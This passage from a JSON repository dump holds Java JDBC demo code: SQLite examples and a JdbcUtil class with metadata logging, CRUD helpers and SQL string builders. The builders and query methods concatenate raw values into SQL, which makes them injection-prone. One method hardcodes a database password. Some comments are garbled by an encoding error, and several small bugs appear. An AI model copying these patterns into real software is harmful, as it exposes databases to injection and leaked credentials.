插入数据\n\t\t\tstat.executeUpdate(\"insert into tbl1(name,salary) values('HongQi',9000);\"); // 插入数据\n\t\t\trs = stat.executeQuery(\"select * from tbl1;\"); // 查询数据\n\t\t\tSystem.out.println(\"表结构变更操作演示：\");\n\t\t\twhile (rs.next()) { // 将查询到的数据打印出来\n\t\t\t\tSystem.out.print(\"name = \" + rs.getString(\"name\") + \", \"); // 列属性一\n\t\t\t\tSystem.out.print(\"name = \" + rs.getString(\"name\") + \", \"); // 列属性二\n\t\t\t\tSystem.out.println(\"address = \" + rs.getString(\"address\")); // 列属性三\n\t\t\t}\n\t\t\trs.close();\n\t\t\tconn.close(); // 结束数据库的连接\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\t\n\t\n\t   \n\tpublic static void main2(String[] args) throws Exception {   \n\t          Class.forName(\"org.sqlite.JDBC\");   \n\t          Connection conn = DriverManager.getConnection(\"jdbc:sqlite:test2.db\");   \n\t          Statement stat = conn.createStatement();   \n\t          stat.executeUpdate(\"drop table if exists people;\");   \n\t          stat.executeUpdate(\"create table people (name, occupation);\");   \n\t          PreparedStatement prep = conn.prepareStatement(   \n\t\"insert into people values (?, ?);\");   \n\t          prep.setString(1, \"Gandhi\");   \n\t          prep.setString(2, \"politics\");   \n\t          prep.addBatch();   \n\t          prep.setString(1, \"Turing\");   \n\t          prep.setString(2, \"computers\");   \n\t          prep.addBatch();   \n\t          prep.setString(1, \"Wittgenstein\");   \n\t          prep.setString(2, \"smartypants\");   \n\t          prep.addBatch();   \n\t          conn.setAutoCommit(false);   \n\t          prep.executeBatch();   \n\t          conn.setAutoCommit(true);   \n\t          ResultSet rs = stat.executeQuery(\"select * from people;\");   \n\twhile (rs.next()) {   \n\t              System.out.println(\"name = \" + rs.getString(\"name\"));   \n\t              System.out.println(\"job = \" + rs.getString(\"occupation\"));   \n\t          }   \n\t          rs.close();   \n\t          conn.close();   \n\t      }  \n\t\n\t\n\t\n\n    public static void main4(String[] args) {\n        try {\n            // The SQLite (3.3.8) Database File\n            // This database has one table (pmp_countries) with 3 columns (country_id, country_code, country_name)\n            // It has like 237 records of all the countries I could think of.\n            String fileName = \"c:/pmp.db\";\n            // Driver to Use\n            // http://www.zentus.com/sqlitejdbc/index.html\n            Class.forName(\"org.sqlite.JDBC\");\n            // Create Connection Object to SQLite Database\n            // If you want to only create a database in memory, exclude the +fileName\n            Connection conn = DriverManager.getConnection(\"jdbc:sqlite:\"+fileName);\n            // Create a Statement object for the database connection, dunno what this stuff does though.\n            Statement stmt = conn.createStatement();\n            // Create a result set object for the statement\n            ResultSet rs = stmt.executeQuery(\"SELECT * FROM pmp_countries ORDER BY country_name ASC\");\n            // Iterate the result set, printing each column\n            // if the column was an int, we could do rs.getInt(column name here) as well, etc.\n            while (rs.next()) {\n                String id   = rs.getString(\"country_id\");   // Column 1\n                String code = rs.getString(\"country_code\"); // Column 2\n                String name = rs.getString(\"country_name\"); // Column 3\n                System.out.println(\"ID: \"+id+\" Code: \"+code+\" Name: \"+name);\n            }\n            // Close the connection\n            conn.close();\n        }\n        catch (Exception e) {\n            // Print some generic debug info\n            System.out.println(e.getMessage());\n            System.out.println(e.toString());\n        }\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/main/java/com/jun/plugin/jdbc/jdbc2/JdbcUtil.java",
    "content": "package com.jun.plugin.jdbc.jdbc2;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.sql.Blob;\nimport java.sql.Clob;\nimport java.sql.Connection;\nimport java.sql.DatabaseMetaData;\nimport java.sql.Driver;\nimport java.sql.DriverManager;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.ResultSetMetaData;\nimport java.sql.SQLException;\nimport java.sql.Statement;\nimport java.sql.Timestamp;\nimport java.util.ArrayList;\nimport java.util.Calendar;\nimport java.util.Date;\nimport java.util.Enumeration;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Map.Entry;\nimport java.util.Properties;\n\nimport org.apache.log4j.Logger;\n\nimport com.jun.plugin.datasource.DataSourceUtil;\n\npublic final class JdbcUtil {\n\n\tprivate static String DBDRIVER = \"\";\n\tprivate static String DBURL = \"\";\n\tprivate static String DBUSER = \"\";\n\tprivate static String DBPASSWORD = \"\";\n\n\tprivate static Connection conn = null;\n\tprivate static ResultSet rs = null;\n\tprivate static Statement stmt = null;\n\tprivate static PreparedStatement prepareStmt = null;\n\n\tprivate static Logger logger = Logger.getLogger(JdbcUtil.class);// 这种情况下默认使用logger打印，如是只打印到自定义的logger就获取自定义的logger的名称\n\n\tstatic {\n\t\tProperties props = new Properties();\n\t\tInputStream is = JdbcUtil.class.getClassLoader().getResourceAsStream(\"jdbc.properties\");\n\t\ttry {\n\t\t\tprops.load(is);\n\t\t\tDBDRIVER = props.getProperty(\"jdbc.driver\");\n\t\t\tDBURL = props.getProperty(\"jdbc.url\");\n\t\t\tDBUSER = props.getProperty(\"jdbc.username\");\n\t\t\tDBPASSWORD = props.getProperty(\"jdbc.password\");\n\t\t\tClass.forName(DBDRIVER);\n//\t\t\tdataSource = DruidDataSourceFactory.createDataSource(props);\n//\t\t\tif (dataSource != null) {\n//\t\t\t\tconn = dataSource.getConnection();\n//\t\t\t}\n\t\t} catch (ClassNotFoundException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\t/**\n\t * 取一个数据库中所有表的信息\n\t * \n\t * @throws SQLException\n\t */\n\tpublic static void getDatabaseMetaDataInfo() throws SQLException {\n\t\tConnection conn = JdbcUtil.getConnection();\n\t\tlogger.info(\"######  DatabaseMetaData关于数据库的整体综合信息====\");\n\t\tjava.sql.DatabaseMetaData dbmd = conn.getMetaData();\n\t\tlogger.info(\"数据库产品名: \" + dbmd.getDatabaseProductName());\n\t\tlogger.info(\"数据库是否支持事务: \" + dbmd.supportsTransactions());\n\t\tlogger.info(\"数据库产品的版本号:\" + dbmd.getDatabaseProductVersion());\n\t\tlogger.info(\"数据库的默认事务隔离级别:\" + dbmd.getDefaultTransactionIsolation());\n\t\tlogger.info(\"支持批量更新:\" + dbmd.supportsBatchUpdates());\n\t\tlogger.info(\"DBMS 的 URL:\" + dbmd.getURL());\n\t\tlogger.info(\"数据库的已知的用户名称:\" + dbmd.getUserName());\n\t\tlogger.info(\"数据库是否处于只读模式:\" + dbmd.isReadOnly());\n\t\tlogger.info(\"数据库是否支持为列提供别名:\" + dbmd.supportsColumnAliasing());\n\t\tlogger.info(\"是否支持指定 LIKE 转义子句:\" + dbmd.supportsLikeEscapeClause());\n\t\tlogger.info(\"是否为外连接提供受限制的支持:\" + dbmd.supportsLimitedOuterJoins());\n\t\tlogger.info(\"是否允许一次打开多个事务:\" + dbmd.supportsMultipleTransactions());\n\t\tlogger.info(\"是否支持 EXISTS 表达式中的子查询:\" + dbmd.supportsSubqueriesInExists());\n\t\tlogger.info(\"是否支持 IN 表达式中的子查询:\" + dbmd.supportsSubqueriesInIns());\n\t\tlogger.info(\"是否支持给定事务隔离级别:\" + dbmd.supportsTransactionIsolationLevel(1));\n\t\tlogger.info(\"此数据库是否支持事务:\" + dbmd.supportsTransactions());\n\t\tlogger.info(\"此数据库是否支持 SQL UNION:\" + dbmd.supportsUnion());\n\t\tlogger.info(\"此数据库是否支持 SQL UNION ALL:\" + dbmd.supportsUnionAll());\n\t\tlogger.info(\"此数据库是否为每个表使用一个文件:\" + dbmd.usesLocalFilePerTable());\n\t\tlogger.info(\"此数据库是否将表存储在本地文件中:\" + dbmd.usesLocalFiles());\n\t\tlogger.info(\"底层数据库的主版本号:\" + dbmd.getDatabaseMajorVersion());\n\t\tlogger.info(\"底层数据库的次版本号:\" + dbmd.getDatabaseMinorVersion());\n\t\tlogger.info(\"JDBC 驱动程序的主版本号:\" + dbmd.getJDBCMajorVersion());\n\t\tlogger.info(\"JDBC 驱动程序的次版本号:\" + dbmd.getJDBCMinorVersion());\n\t\tlogger.info(\"JDBC 驱动程序的名称:\" + dbmd.getDriverName());\n\t\tlogger.info(\"JDBC 驱动程序的 String 形式的版本号:\" + dbmd.getDriverVersion());\n\t\tlogger.info(\"可以在不带引号的标识符名称中使用的所有“额外”字符:\" + dbmd.getExtraNameCharacters());\n\t\tlogger.info(\"用于引用 SQL 标识符的字符串:\" + dbmd.getIdentifierQuoteString());\n\t\tlogger.info(\"允许用于类别名称的最大字符数:\" + dbmd.getMaxCatalogNameLength());\n\t\tlogger.info(\"允许用于列名称的最大字符数:\" + dbmd.getMaxColumnNameLength());\n\t\tlogger.info(\"允许在 GROUP BY 子句中使用的最大列数:\" + dbmd.getMaxColumnsInGroupBy());\n\t\tlogger.info(\"允许在 SELECT 列表中使用的最大列数:\" + dbmd.getMaxColumnsInSelect());\n\t\tlogger.info(\"允许在表中使用的最大列数:\" + dbmd.getMaxColumnsInTable());\n\t\tlogger.info(\"数据库的并发连接的可能最大数:\" + dbmd.getMaxConnections());\n\t\tlogger.info(\"允许用于游标名称的最大字符数:\" + dbmd.getMaxCursorNameLength());\n\t\tlogger.info(\"在同一时间内可处于开放状态的最大活动语句数:\" + dbmd.getMaxStatements());\n\t\t// 获取所有表 new String[]{\"TABLE\"}\n\t\t// String[] type = {\"TABLE\",\"VIEW\"} null\n\t\tlogger.info(\"###### 获取表的信息\");\n\t\tResultSet tSet = dbmd.getTables(null, \"%\", \"%\", new String[] { \"TABLE\", \"VIEW\" });\n\t\twhile (tSet.next()) {\n\t\t\tlogger.info(tSet.getRow() + \"_表类别:\" + tSet.getString(\"TABLE_CAT\") + \"_表模式:\" + tSet.getString(\"TABLE_SCHEM\")\n\t\t\t\t\t+ \"_表名称:\" + tSet.getString(\"TABLE_NAME\") + \"_表类型:\" + tSet.getString(\"TABLE_TYPE\")\n\t\t\t// +\"\\n_表的解释性注释:\"+tSet.getString(\"REMARKS\")+\"_类型的类别:\"+tSet.getString(\"TYPE_CAT\")\n\t\t\t// +\"\\n_类型模式:\"+tSet.getString(\"TYPE_SCHEM\")+\"_类型名称:\"+tSet.getString(\"TYPE_NAME\")\n\t\t\t// +\"\\n_有类型表的指定'identifier'列的名称:\"+tSet.getString(\"SELF_REFERENCING_COL_NAME\")\n\t\t\t// +\"\\n_指定在 SELF_REFERENCING_COL_NAME\n\t\t\t// 中创建值的方式:\"+tSet.getString(\"REF_GENERATION\")\n\t\t\t);\n\t\t\t// 2_表类别:MANOR_表模式:PUBLIC_表名称:SYS_RESOURCE_表类型:TABLE\n\t\t\tString tableName = tSet.getString(3);\n\t\t\tString sql = \"select * from \" + tableName;\n\t\t\tResultSet rsSet = conn.createStatement().executeQuery(sql);\n\t\t\tResultSetMetaData rsData = rsSet.getMetaData();\n\t\t\tfor (int i = 1; i < rsData.getColumnCount(); i++) {\n\t\t\t\tlogger.info(\"==列的信息:获取SQL语句的列名:\" + rsData.getColumnName(i) + \"(\" + rsData.getColumnLabel(i) + \",\"\n\t\t\t\t\t\t+ rsData.getColumnType(i) + \",\" + rsData.getColumnClassName(i) + \")\" + \" 列宽\"\n\t\t\t\t\t\t+ rsData.getPrecision(i) + \" 大小写敏感\" + rsData.isCaseSensitive(i) + \" isReadOnly:\"\n\t\t\t\t\t\t+ rsData.isReadOnly(i));\n\t\t\t\t// ==列的信息:获取SQL语句的列名:LIMITLEVER(LIMITLEVER,5,java.lang.Short)\n\t\t\t\t// 列宽5 大小写敏感true isReadOnly:false\n\t\t\t}\n\t\t}\n\t\ttSet.close();\n\t\tlogger.info(\"###### 获取当前数据库所支持的SQL数据类型\");\n\n\t\tResultSet tableType = dbmd.getTypeInfo();\n\t\twhile (tableType.next()) {\n\t\t\tlogger.info(\"数据类型名:\" + tableType.getString(1) + \",短整型的数:\" + tableType.getString(2) + \",整型的数:\"\n\t\t\t\t\t+ tableType.getString(3) + \",最小精度:\" + tableType.getString(14) + \",最大精度:\" + tableType.getString(15));\n\t\t\t// 数据类型名:TIMESTAMP,短整型的数:93,整型的数:23,最小精度:0,最大精度:10\n\t\t\t// 数据类型名:VARCHAR,短整型的数:12,整型的数:2147483647,最小精度:0,最大精度:0\n\t\t}\n\t\tlogger.info(\"###### 表的主键列信息\");\n\t\tResultSet primaryKey = dbmd.getPrimaryKeys(\"MANOR\", \"PUBLIC\", \"SYS_ROLE_RES\");\n\t\twhile (primaryKey.next()) {\n\t\t\tlogger.info(\"表名:\" + primaryKey.getString(\"TABLE_NAME\") + \",列名:\" + primaryKey.getString(\"COLUMN_NAME\")\n\t\t\t\t\t+ \" 主键名:\" + primaryKey.getString(\"PK_NAME\"));\n\t\t\t// 表名:SYS_ROLE_RES,列名:SYS_RES_ID 主键名:CONSTRAINT_9\n\t\t\t// 表名:SYS_ROLE_RES,列名:SYS_ROLE_ID 主键名:CONSTRAINT_9\n\t\t}\n\t\tlogger.info(\"###### 表的外键列信息\");\n\t\tResultSet foreinKey = dbmd.getImportedKeys(\"MANOR\", \"PUBLIC\", \"SYS_ROLE_RES\");\n\t\twhile (foreinKey.next()) {\n\t\t\tlogger.info(\"主键名:\" + foreinKey.getString(\"PK_NAME\") + \",外键名:\" + foreinKey.getString(\"FKCOLUMN_NAME\")\n\t\t\t\t\t+ \",主键表名:\" + foreinKey.getString(\"PKTABLE_NAME\") + \",外键表名:\" + foreinKey.getString(\"FKTABLE_NAME\")\n\t\t\t\t\t+ \",外键列名:\" + foreinKey.getString(\"PKCOLUMN_NAME\") + \",外键序号:\" + foreinKey.getString(\"KEY_SEQ\"));\n\t\t\t// 主键名:PRIMARY_KEY_95,外键名:SYS_RES_ID,主键表名:SYS_RESOURCE,外键表名:SYS_ROLE_RES,外键列名:ID,外键序号:1\n\t\t\t// 主键名:PRIMARY_KEY_A,外键名:SYS_ROLE_ID,主键表名:SYS_ROLE,外键表名:SYS_ROLE_RES,外键列名:ID,外键序号:1\n\t\t}\n\t\tlogger.info(\"###### 获取数据库中允许存在的表类型\");\n\t\tResultSet tableTypes = dbmd.getTableTypes();\n\t\twhile (tableTypes.next()) {\n\t\t\tlogger.info(\"类型名:\" + tableTypes.getString(1));\n\t\t\t/**\n\t\t\t * H2 类型名:SYSTEM TABLE 类型名:TABLE 类型名:TABLE LINK 类型名:VIEW\n\t\t\t */\n\t\t}\n\t\t// 此外还可以获取索引等的信息\n\t\tconn.close();\n\t}\n\n\t/**\n\t * PreparedStatement 信息 ResultSetMetaData 信息\n\t * \n\t * @throws SQLException\n\t */\n\tpublic static void getDBParameterMetaData() throws SQLException {\n\t\tConnection conn = JdbcUtil.getConnection(); // id,name\n\t\tPreparedStatement pre = conn.prepareStatement(\"SELECT * FROM SYS_APPTYPE where id = ?\");\n\t\tpre.setInt(1, 3);\n\t\tjava.sql.ParameterMetaData pmd = pre.getParameterMetaData();\n\t\tlogger.info(\"参数的个数:\" + pmd.getParameterCount());\n\t\tlogger.info(\"获取指定参数的 SQL 类型:\" + pmd.getParameterType(1));\n\t\tlogger.info(\"culomn的参数类型:\" + pmd.getParameterTypeName(1));\n\t\tlogger.info(\"Java 类的完全限定名称:\" + pmd.getParameterClassName(1));\n\t\tlogger.info(\"获取指定参数的模式:\" + pmd.getParameterMode(1));\n\t\tlogger.info(\"获取指定参数的指定列大小:\" + pmd.getPrecision(1));\n\t\tlogger.info(\"获取指定参数的小数点右边的位数:\" + pmd.getScale(1));\n\t\tlogger.info(\"是否允许在指定参数中使用 null 值:\" + pmd.isNullable(1));\n\t\tlogger.info(\"指定参数的值是否可以是带符号的数字:\" + pmd.isSigned(1));\n\t\t// 获取结果集元数据\n\t\tResultSet rs = pre.executeQuery();\n\t\twhile (rs.next()) {\n\t\t\tlogger.info(rs.getString(1) + \"___\" + rs.getString(2));\n\t\t}\n\t\trs.close();\n\t}\n\n\t/**\n\t * 获取所有Driver信息\n\t */\n\tpublic static void getAllDriverMsg() {\n\t\tEnumeration drivers = DriverManager.getDrivers();\n\t\twhile (drivers.hasMoreElements()) {\n\t\t\tDriver d = (Driver) drivers.nextElement();\n\t\t\tlogger.info(d.getClass().getName() + \"_\" + d.getMajorVersion());\n\t\t}\n\t}\n\n\t@SuppressWarnings(\"rawtypes\")\n\tpublic static List execute(String Sql) throws Exception {\n\t\tPreparedStatement psmt = null;\n\t\tif (Sql.toUpperCase().startsWith(\"SELECT\")) {\n\t\t\tpsmt = conn.prepareStatement(Sql);\n\t\t\tResultSet res = psmt.executeQuery();\n\t\t\tif (res.next()) {\n\t\t\t\tString.valueOf(res.getObject(1));\n\t\t\t}\n\t\t} else if (Sql.toUpperCase().startsWith(\"INSERT\")) {\n\t\t\tpsmt = conn.prepareStatement(Sql, Statement.RETURN_GENERATED_KEYS);\n\t\t\tpsmt.executeUpdate();\n\t\t\tResultSet res = psmt.getGeneratedKeys();\n\t\t\tif (res.next()) {\n\t\t\t\tString.valueOf(res.getObject(1));\n\t\t\t}\n\t\t} else if (Sql.toUpperCase().startsWith(\"UPDATE\")) {\n\t\t\tpsmt = conn.prepareStatement(Sql, Statement.RETURN_GENERATED_KEYS);\n\t\t\tpsmt.executeUpdate();\n\t\t\tResultSet res = psmt.getGeneratedKeys();\n\t\t\tif (res.next()) {\n\t\t\t\tString.valueOf(res.getObject(1));\n\t\t\t}\n\t\t}\n\t\treturn null;\n\t}\n\n\tpublic int executeUpdateDeleteInsert(String sql) {\n\t\tint i = 0;\n\t\ttry {\n\t\t\t// Connection c = getConnection();\n\t\t\tStatement state = conn.createStatement();\n\t\t\ti = state.executeUpdate(sql);\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn i;\n\t}\n\n\tpublic static String repeatSql(String Table_name, Map<String, Object> repeatParams) {\n\t\tStringBuffer sql = new StringBuffer(\"select 1\");\n\t\tsql.append(\" from \").append(Table_name).append(\" where 1 = 1\");\n\t\tfor (String key : repeatParams.keySet()) {\n\t\t\tif (repeatParams.get(key) instanceof CharSequence || repeatParams.get(key) instanceof Timestamp) {\n\t\t\t\tsql.append(\" and \").append(key).append(\" = '\").append(repeatParams.get(key)).append(\"'\");\n\t\t\t} else {\n\t\t\t\tsql.append(\" and \").append(key).append(\" = \").append(repeatParams.get(key));\n\t\t\t}\n\t\t}\n\t\treturn sql.toString();\n\t}\n\n\t@SuppressWarnings(\"unused\")\n\tpublic static String getUpdateSql(String Table_name, Map<String, Object> params, Map<String, Object> repeatParams) {\n\t\tStringBuffer mapping = new StringBuffer();\n\t\tStringBuffer conditions = new StringBuffer();\n\t\tfor (Entry<String, Object> entry : params.entrySet()) {\n\t\t\tmapping.append(entry.getKey()).append(\" = \");\n\t\t\tif (entry.getValue() instanceof CharSequence || entry.getValue() instanceof Timestamp) {\n\t\t\t\tmapping.append(\"'\" + entry.getValue() + \"' ,\");\n\t\t\t} else {\n\t\t\t\tmapping.append(entry.getValue() + \" ,\");\n\t\t\t}\n\t\t}\n\t\tfor (Entry<String, Object> entry : repeatParams.entrySet()) {\n\t\t\tconditions.append(\" and \").append(entry.getKey()).append(\" = \");\n\t\t\tif (entry.getValue() instanceof CharSequence || entry.getValue() instanceof Timestamp) {\n\t\t\t\tconditions.append(\"'\" + entry.getValue() + \"'\");\n\t\t\t} else {\n\t\t\t\tconditions.append(entry.getValue());\n\t\t\t}\n\t\t}\n\t\tif (mapping.length() > 0) {\n\t\t\tmapping.deleteCharAt(mapping.length() - 1);\n\t\t}\n\t\tStringBuffer sql = new StringBuffer(\"update \");\n\t\tsql.append(Table_name);\n\t\tsql.append(\" set \");\n\t\tsql.append(mapping);\n\t\tsql.append(\" where 1 = 1\");\n\t\tsql.append(conditions);\n\t\treturn sql.toString();\n\t}\n\n\t@SuppressWarnings(\"unused\")\n\tpublic static String getInsertSql(String Table_name, Map<String, Object> params) {\n\t\tif (params == null || params.size() <= 0) {\n\t\t\treturn null;\n\t\t}\n\t\tStringBuffer keys = new StringBuffer();\n\t\tStringBuffer values = new StringBuffer();\n\t\tfor (Entry<String, Object> entry : params.entrySet()) {\n\t\t\tkeys.append(entry.getKey() + \",\");\n\t\t\tif (entry.getValue() instanceof CharSequence || entry.getValue() instanceof Timestamp) {\n\t\t\t\tvalues.append(\"'\" + entry.getValue() + \"',\");\n\t\t\t} else {\n\t\t\t\tvalues.append(entry.getValue() + \",\");\n\t\t\t}\n\t\t}\n\t\tif (keys.length() > 0) {\n\t\t\tkeys.deleteCharAt(keys.length() - 1);\n\t\t}\n\t\tif (values.length() > 0) {\n\t\t\tvalues.deleteCharAt(values.length() - 1);\n\t\t}\n\t\tStringBuffer sql = new StringBuffer(\"insert into \");\n\t\tsql.append(Table_name);\n\t\tsql.append(\" (\" + keys);\n\t\tsql.append(\") values (\");\n\t\tsql.append(values + \")\");\n\t\treturn sql.toString();\n\t}\n\n\t@SuppressWarnings(\"unused\")\n\tpublic static String getQuerySql(String Table_name, Map<String, Object> params) {\n\t\tStringBuffer sql = new StringBuffer(\"select \");\n\t\tsql.append(\"\").append(\" from \").append(Table_name).append(\" where 1 = 1\");\n\t\tfor (String key : params.keySet()) {\n\t\t\tif (params.get(key) instanceof CharSequence || params.get(key) instanceof Timestamp) {\n\t\t\t\tsql.append(\" and \").append(key).append(\" = '\").append(params.get(key)).append(\"'\");\n\t\t\t} else {\n\t\t\t\tsql.append(\" and \").append(key).append(\" = \").append(params.get(key));\n\t\t\t}\n\t\t}\n\t\treturn sql.toString();\n\t}\n\n\tpublic Connection getJdbcConnection() throws SQLException, IOException, Exception {\n\t\tProperties props = new Properties();\n\t\t// String fileName = \"e:\\Database.Property\";\n\t\t// FileInputStream in = new FileInputStream(fileName);\n\t\tInputStream in = getClass().getResourceAsStream(\"jdbc.properties\");\n\t\tprops.load(in);\n\t\tString drivers = props.getProperty(\"jdbc.drivers\");\n\t\tif (drivers != null) {\n\t\t\tSystem.setProperty(\"jdbc.drives\", drivers);\n\t\t}\n\t\tString url = props.getProperty(\"jdbc.url\");\n\t\tString username = props.getProperty(\"jdbc.username\");\n\t\tString password = props.getProperty(\"jdbc.password\");\n\t\tClass.forName(drivers);\n\t\treturn DriverManager.getConnection(url, username, password);\n\t}\n\n\t@SuppressWarnings({ \"rawtypes\", \"unchecked\" })\n\tpublic static List query(String strSql) throws SQLException {\n\t\trs = stmt.executeQuery(strSql);\n\t\tList results = new LinkedList();\n\t\tint rowNum = 0;\n\t\tfor (; rs.next(); results.add(mapRow(rs, rowNum++)))\n\t\t\t;\n\t\treturn results;\n\t}\n\n\t@SuppressWarnings({ \"rawtypes\", \"unchecked\" })\n\tpublic static List queryByRow(ResultSet rs, int rowsExpected) throws SQLException {\n\t\tList results = ((List) (rowsExpected <= 0 ? ((List) (new LinkedList()))\n\t\t\t\t: ((List) (new ArrayList(rowsExpected)))));\n\t\tint rowNum = 0;\n\t\tfor (; rs.next(); results.add(mapRow(rs, rowNum++)))\n\t\t\t;\n\t\treturn results;\n\t}\n\n\tpublic static List extractData(ResultSet rs) throws SQLException {\n\t\tList results = new LinkedList();\n\t\tint rowNum = 0;\n\t\tfor (; rs.next(); results.add(mapRow(rs, rowNum++)))\n\t\t\t;\n\t\treturn results;\n\t}\n\n\tpublic static List extractData(ResultSet rs, int rowsExpected) throws SQLException {\n\t\tList results = ((List) (rowsExpected <= 0 ? ((List) (new LinkedList()))\n\t\t\t\t: ((List) (new ArrayList(rowsExpected)))));\n\t\tint rowNum = 0;\n\t\tfor (; rs.next(); results.add(mapRow(rs, rowNum++)))\n\t\t\t;\n\t\treturn results;\n\t}\n\n\t@SuppressWarnings({ \"unchecked\", \"rawtypes\" })\n\tpublic static Object mapRow(ResultSet rs, int rowNum) throws SQLException {\n\t\tResultSetMetaData rsmd = rs.getMetaData();\n\t\tint columnCount = rsmd.getColumnCount();\n\t\tMap mapOfColValues = new HashMap(columnCount);\n\t\tfor (int i = 1; i <= columnCount; i++) {\n\t\t\tString key = rsmd.getColumnName(i);\n\t\t\tObject obj = getResultSetValue(rs, i);\n\t\t\tmapOfColValues.put(key, obj);\n\t\t}\n\t\treturn mapOfColValues;\n\t}\n\n\tpublic static Object getResultSetValue(ResultSet rs, int index) throws SQLException {\n\t\tObject obj = rs.getObject(index);\n\t\tif (obj instanceof Blob)\n\t\t\tobj = rs.getBytes(index);\n\t\telse if (obj instanceof Clob)\n\t\t\tobj = rs.getString(index);\n\t\telse if (obj != null && obj.getClass().getName().startsWith(\"oracle.sql.TIMESTAMP\"))\n\t\t\tobj = rs.getTimestamp(index);\n\t\telse if (obj != null && obj.getClass().getName().startsWith(\"oracle.sql.DATE\")) {\n\t\t\tString metaDataClassName = rs.getMetaData().getColumnClassName(index);\n\t\t\tif (\"java.sql.Timestamp\".equals(metaDataClassName) || \"oracle.sql.TIMESTAMP\".equals(metaDataClassName))\n\t\t\t\tobj = rs.getTimestamp(index);\n\t\t\telse\n\t\t\t\tobj = rs.getDate(index);\n\t\t} else if (obj != null && (obj instanceof Date)\n\t\t\t\t&& \"java.sql.Timestamp\".equals(rs.getMetaData().getColumnClassName(index)))\n\t\t\tobj = rs.getTimestamp(index);\n\t\treturn obj;\n\t}\n\n\t// ResultSet rs = null;\n\t// 执行查询语句的方法\n\tpublic static ResultSet executeQuery(String sql) {\n\t\ttry {\n\t\t\tconn = DriverManager.getConnection(DBURL, DBUSER, DBPASSWORD); // 建立与数据库服务器的连接\n\t\t\tStatement stmt = conn.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);\n\t\t\trs = stmt.executeQuery(sql);// 执行指定的数据查询语句\n\t\t} catch (SQLException ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn rs;\n\t}\n\n\t// 执行增、删改语句的方法\n\tpublic int executeUpdate(String sql) {\n\t\tint result = 0;\n\t\ttry {\n\t\t\tconn = DriverManager.getConnection(DBURL, DBUSER, DBPASSWORD);\n\t\t\tStatement stmt = conn.createStatement();\n\t\t\tresult = stmt.executeUpdate(sql);// 执行指定的数据操作语句\n\t\t} catch (SQLException ex) {\n\t\t\tSystem.err.println(ex.getMessage());\n\t\t}\n\t\treturn result;\n\t}\n\n\tpublic void create(String sql) {\n\t\tConnection conn = null;\n\t\tStatement stmt = null;\n\t\tResultSet rs = null;\n\t\ttry {\n\t\t\tconn = JdbcUtil.getConnection();\n\t\t\tstmt = conn.createStatement();\n\t\t\tint i = stmt.executeUpdate(sql);\n\t\t\tSystem.out.println(i > 0 ? \"sucess\" : \"faild\");\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tJdbcUtil.close();\n\t\t}\n\t}\n\n\tpublic void update(String sql) {\n\t\tConnection conn = null;\n\t\tStatement stmt = null;\n\t\tResultSet rs = null;\n\t\ttry {\n\t\t\tconn = JdbcUtil.getConnection();\n\t\t\tstmt = conn.createStatement();\n\t\t\tint i = stmt.executeUpdate(sql);\n\t\t\tSystem.out.println(i > 0 ? \"sucess\" : \"faild\");\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tJdbcUtil.close();\n\t\t}\n\t}\n\n\tpublic void delete(String sql) {\n\t\tConnection conn = null;\n\t\tStatement stmt = null;\n\t\tResultSet rs = null;\n\t\ttry {\n\t\t\tconn = JdbcUtil.getConnection();\n\t\t\tstmt = conn.createStatement();\n\t\t\tint i = stmt.executeUpdate(sql);\n\t\t\tSystem.out.println(i > 0 ? \"sucess\" : \"faild\");\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tJdbcUtil.close();\n\t\t}\n\t}\n\n\tpublic void init() {\n\t\ttry {\n\t\t\t// 1.ע����\n\t\t\tClass.forName(\"oracle.jdbc.driver.OracleDriver\");\n\t\t\t// 2.ͨ����������������\n\t\t\t// ��ʽ:jdbc:oracle:thin:@<IP��ַ>:<�˿ں�,Ĭ����1521>:<sid>\n\t\t\tString url = \"jdbc:oracle:thin:@192.168.0.26:1521:tarena\";\n\t\t\tString dbUsername = \"openlab\";\n\t\t\tString dbPassword = \"open123\";\n\t\t\tconn = DriverManager.getConnection(url, dbUsername, dbPassword);\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\tpublic static void close() {\n\t\ttry {\n\t\t\tif (rs != null)\n\t\t\t\trs.close();\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\ttry {\n\t\t\tif (prepareStmt != null)\n\t\t\t\tprepareStmt.close();\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\ttry {\n\t\t\tif (conn != null)\n\t\t\t\tconn.close();\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\tpublic void update() {\n\t\tinit();\n\t\ttry {\n\t\t\tString sql = \"update mydepttemp \" + \"set loc = ? \" + \"where deptno = ?\";\n\t\t\tprepareStmt = conn.prepareStatement(sql);\n\t\t\tprepareStmt.setString(1, \"���\");\n\t\t\tprepareStmt.setInt(2, 10);\n\n\t\t\tint n = prepareStmt.executeUpdate();\n\t\t\tSystem.out.println(n + \"����¼���޸�\");\n\t\t\tSystem.out.println((n > 0) ? \"OK\" : \"error\");\n\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tclose();\n\t\t}\n\t}\n\n\tpublic void insert() {\n\t\tinit();\n\t\ttry {\n\n\t\t\tString sql = \"insert into dept \" + \"values(?, ?, ?)\";\n\t\t\tprepareStmt = conn.prepareStatement(sql);\n\t\t\tprepareStmt.setInt(1, 10);\n\t\t\tprepareStmt.setString(2, 